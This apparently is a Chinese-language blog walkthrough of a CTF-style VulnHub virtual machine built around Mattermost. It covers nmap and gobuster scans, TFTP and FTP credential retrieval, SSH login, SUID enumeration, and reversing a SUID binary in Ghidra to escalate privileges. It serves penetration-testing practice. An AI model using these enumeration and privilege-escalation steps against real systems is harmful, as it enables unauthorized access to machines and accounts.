难度:初级++
靶机发布日期:2020年1月6日
靶机描述:Description: The Mattermost chatting system may or may not hold sensitive information. Can you find your way in?
Virtual Machine: VMware
Operation System: Linux Ubuntu 16.04
Format: VMDK
DHCP Service: Enabled
IP Address: Automatically Assigned
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
- nmap
- gobuster
- nc
- Ghidra
0x00、信息收集
靶机IP:192.168.1.142
nmap -sn 192.168.1.0/24
端口和服务
nmap -sS -T4 -A -p- 192.168.1.142
页面、目录枚举,无果。
gobuster dir -u http://192.168.1.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
FTP允许匿名账户登录,但登录之后文件夹是空的。
3389(XRDP)远程桌面:未发现可利用的地方。
8065端口:运行Mattermost。搜索默认账号密码,发现MySQL账号和密码:默认账号和密码为root/123456;未发现应用系统的默认账号密码。
Mattermost 是一款易于使用、经过简化且可扩展的团队通信和企业消息传送系统。Mattermost 可以让您的团队在一处完成所有通信,而且随时随地可供搜索和使用。您可以在 QNAP(威联通科技股份有限公司 (QNAP Systems, Inc.) 立足台北) NAS 上创建自己的私人托管聊天解决方案。
Mattermost 应用程序实现了团队在一处完成所有通信,所有人都可以更轻松地在组内或私人聊天内一起讨论问题。Mattermost 的专用和公共频道功能可以实现上述目的,该功能将在本文档的后续部分进行介绍。本文档还介绍了如何安装和开始使用 Mattermost。
首页:访问README.md
,提示文件不存在;使用burpsuite抓包,未发现有用的信息。
之前使用NMAP进行的是TCP扫描,现在换成UDP扫描。
nmap -sU -A -T4 192.168.1.142
TFTP是用来下载远程文件的最简单网络协议,它基于UDP协议而实现。
因为网站首页(80端口)的提示有README.md
,所以这里是尝试性的下载一下,结果真的有这个文件,之后获取到一组账号密码Admin:ComplexPassword0!
。
进了后台之后肯定是要找一找能不能直接在网页文件里面写入反弹shell的代码或者能不能上传文件,在个人设置里面发现有个上传头像的地方,尝试上传了一个图片ma,结果提示:文件似乎不是有效的图片。
回到登录后默认的位置,发现了一堆毫无逻辑的聊天记录,里面多次提及zoom
这个单词。
最终在Main Menu
>>System Console
>>PLUGIN(BETA)
>>Zoom
处找到了相同名称的插件。
这个插件最初是未启用的,需要改为启用,否则链接无法复制,并且链接对应的网页也无法访问。
Start and join voice calls, video calls and use screen sharing with your team members via Zoom.
最终得到FTP服务的账号密码:ftpuser / ftppassword
。
登录ftp,下载文件message
,里面的内容是Welcome!!!
,刚看到这个是有点懵的,折腾了半天就给我看这个?
ftp中的users
文件夹下有个文件夹名为mattermost
,所以推测靶机的系统用户也可能有mattermost
。从目前掌握的信息来看,mattermost / Welcome!!!
极有可能是SSH的一组账号密码,试了一下成功登录。
要多想想“现在有什么?通过现有的能够做什么?或者还缺少什么?通过什么方式可以得到需要的?”
0x01、权限提升
2020-01-23更新:新增:basic-linux-privilege-escalation
--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------
查找sudo权限命令,发现当前用户没有权限执行sudo命令。
sudo -l
SUID权限可执行文件,发现/home/mattermost/Desktop/secret
find / -perm -u=s -type f 2>/dev/null
常见的SUID提权可执行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
使用strings检查查看一下,也没发现什么东西。
可执行文件的同目录下还有一个README.md文件,内容是Admin用户的密码,并且说该密码30天后过期。
接下来使用工具对secret
进行逆向
先拷贝secret
到本地,本来想直接拷贝到靶机的ftp根目录,结果vsftp和tftp的根目录都没有写入权限,我也不知道为啥……
还是用nc传吧
使用Ghidra
获得源码。从源码中看出,是将输入的密码(int)与0xf447(16进制)进行比较,相等时进行提权操作。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.